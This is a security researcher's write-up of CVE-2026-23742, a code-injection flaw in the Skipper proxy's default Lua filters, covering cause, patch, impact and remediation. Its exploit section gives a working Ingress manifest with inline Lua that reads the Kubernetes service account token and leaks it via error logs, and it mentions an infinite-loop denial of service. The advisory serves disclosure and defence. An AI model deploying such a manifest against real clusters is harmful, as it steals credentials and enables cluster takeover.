CVE-2026-23742

Skipper's Sinking Ship: Arbitrary Code Execution via Lua Filters

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 17, 2026·5 min read

Executive Summary (TL;DR)

In versions prior to 0.23.0, Skipper enabled its Lua scripting engine by default and permitted 'inline' code sources. Attackers with the ability to configure routes (e.g., via Kubernetes Ingress) could inject malicious Lua scripts to read sensitive files—such as Kubernetes Service Account tokens—or execute system commands, leading to potential cluster compromise.

Zalando Skipper, a popular HTTP router and reverse proxy, suffered from a critical 'insecure by default' configuration that allowed arbitrary Lua code execution. By enabling inline script sources without adequate sandboxing, the tool essentially handed a loaded gun to anyone with the ability to define routing filters.

The Hook: A Proxy with a PhD

Skipper isn't your average dumb pipe. It's a highly capable HTTP router and reverse proxy designed for service composition, often deployed as a Kubernetes Ingress controller. It creates a dynamic routing fabric where request flow can be manipulated using 'filters'.

Filters are the magic sauce. They allow you to modify headers, throttle traffic, or redirect requests based on complex logic. To make this even more powerful, the developers integrated Lua—a lightweight scripting language—allowing users to write custom logic right inside the routing path.

But here's the catch: giving users a Turing-complete language inside your critical infrastructure is like handing a toddler a chainsaw. It's powerful, sure, but if you don't put a safety guard on it, someone is going to lose a limb. In Skipper's case, that safety guard wasn't just unlocked; it was left completely off by default.

The Flaw: Convenience Over Security

The root cause of CVE-2026-23742 represents a classic failure of the 'Secure by Default' principle. Prior to version 0.23.0, Skipper made three fatal assumptions:

  1. Always On: The Lua scripting engine was initialized automatically at startup, whether you intended to use it or not.
  2. Inline Execution: The configuration defaulted to -lua-sources=inline,file. This meant scripts didn't need to be loaded from a trusted file on disk; they could be passed directly as strings in the configuration.
  3. No Sandboxing: The Lua environment provided access to standard libraries like io (file system) and os (operating system) without restriction.

In a multi-tenant Kubernetes environment, this is catastrophic. If a developer (or an attacker with compromised credentials) creates an Ingress resource, they can define a filter. Because inline was allowed, they could embed a malicious script directly into the YAML of the Ingress object, bypassing any file system controls the underlying container might have had.

The Code: The Smoking Gun

The vulnerability lived in how Skipper initialized its filter registry. It didn't ask if you wanted Lua; it just gave it to you.

The Vulnerable Logic (Conceptual): Before the patch, the code essentially initialized the Lua script module unconditionally. It trusted that if a user provided a script, they were allowed to run it.

The Fix (Commit 0b52894): The patch introduced a sanity check. Now, Lua is only initialized if explicitly enabled via the EnableLua flag. Furthermore, the defaults were tightened to discourage inline sources.

Here is the critical change in skipper.go:

// The Fix: Explicit Consent Required
if o.EnableLua {
    lua, err := script.NewLuaScriptWithOptions(script.LuaOptions{
        Modules: o.LuaModules,
        Sources: o.LuaSources,
    })
    if err != nil {
        log.Errorf("Failed to create lua filter: %v.", err)
        return err
    }
    o.CustomFilters = append(o.CustomFilters, lua)
}

By wrapping the initialization in if o.EnableLua, the attack surface is reduced to zero for the vast majority of users who never needed Lua scripting in the first place.

The Exploit: Stealing the Keys to the Kingdom

Let's put on our black hats. Imagine we are inside a Kubernetes cluster with permission to create Ingress resources (a common permission for developers). We want to escalate privileges. The Skipper pod is likely running with a Service Account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token.

We don't need a shell. We just need to define a route that reads that file and spits it out.

Step 1: The Malicious Ingress We create an Ingress resource that uses the lua() filter. We pass the code inline.

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: malicious-ingress
  annotations:
    zalando.org/skipper-filter: |
      lua("function request(ctx) 
        local f = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r') 
        if f then 
          local token = f:read('*all') 
          f:close() 
          -- Dump the token into the application logs as an error
          error('[PWNED] ' .. token) 
        end 
      end")
spec:
  rules:
  - host: evil.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: some-service
            port:
              number: 80

Step 2: Trigger and Collect We send a curl request to evil.example.com. The Skipper filter executes, opens the file using the unsandboxed io library, reads the token, and throws a Lua error.

Step 3: Profit The attacker reads the Skipper pod logs (which they likely have access to). They see: [PWNED] eyJhbGciOiJSUzI1NiIsImtp.... They now have the JWT for the Skipper service account.

The Impact: From Filter to Admin

Why is this scary? Because Ingress controllers are high-value targets. They sit at the edge of the network and handle traffic for everyone.

  1. Data Exfiltration: As demonstrated, reading arbitrary files allows stealing secrets, config files, and environment variables.
  2. Lateral Movement: With the stolen Service Account token, an attacker can talk to the Kubernetes API. If the Skipper pod has broad permissions (e.g., to discover services or endpoints), the attacker can map the network or compromise other pods.
  3. Denial of Service: An inline script containing a while true do end loop would freeze the Lua VM and potentially hang the request processing thread, causing a denial of service for the routing layer.

The Fix: Turn it Off

The remediation is straightforward but requires action. The maintainers flipped the default switch to OFF.

Immediate Steps:

  1. Upgrade: Move to Skipper v0.23.0 or later immediately.
  2. Audit: Check if you actually use Lua filters. If not, do nothing—the new version disables them by default.
  3. Configure: If you do need Lua, explicitly enable it with -enable-lua, but change the source policy. Use -lua-sources=file to force scripts to load from the filesystem (which requires access to the container image or volume mounts to change), effectively killing the inline attack vector.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Zalando Skipper HTTP RouterKubernetes Clusters using Skipper as Ingress Controller

Affected Versions Detail

Product
Affected Versions
Fixed Version
Skipper
Zalando
< 0.23.00.23.0
AttributeDetail
CWE IDCWE-94 (Code Injection)
CVSS v3.18.8 (High)
Attack VectorNetwork (via Config/Ingress)
Privileges RequiredLow (Ingress Creation)
ImpactArbitrary Code Execution / Information Disclosure
Exploit StatusPoC Available
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Vulnerability Timeline

Vulnerability Published
2026-01-16
Patch v0.23.0 Released
2026-01-16

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.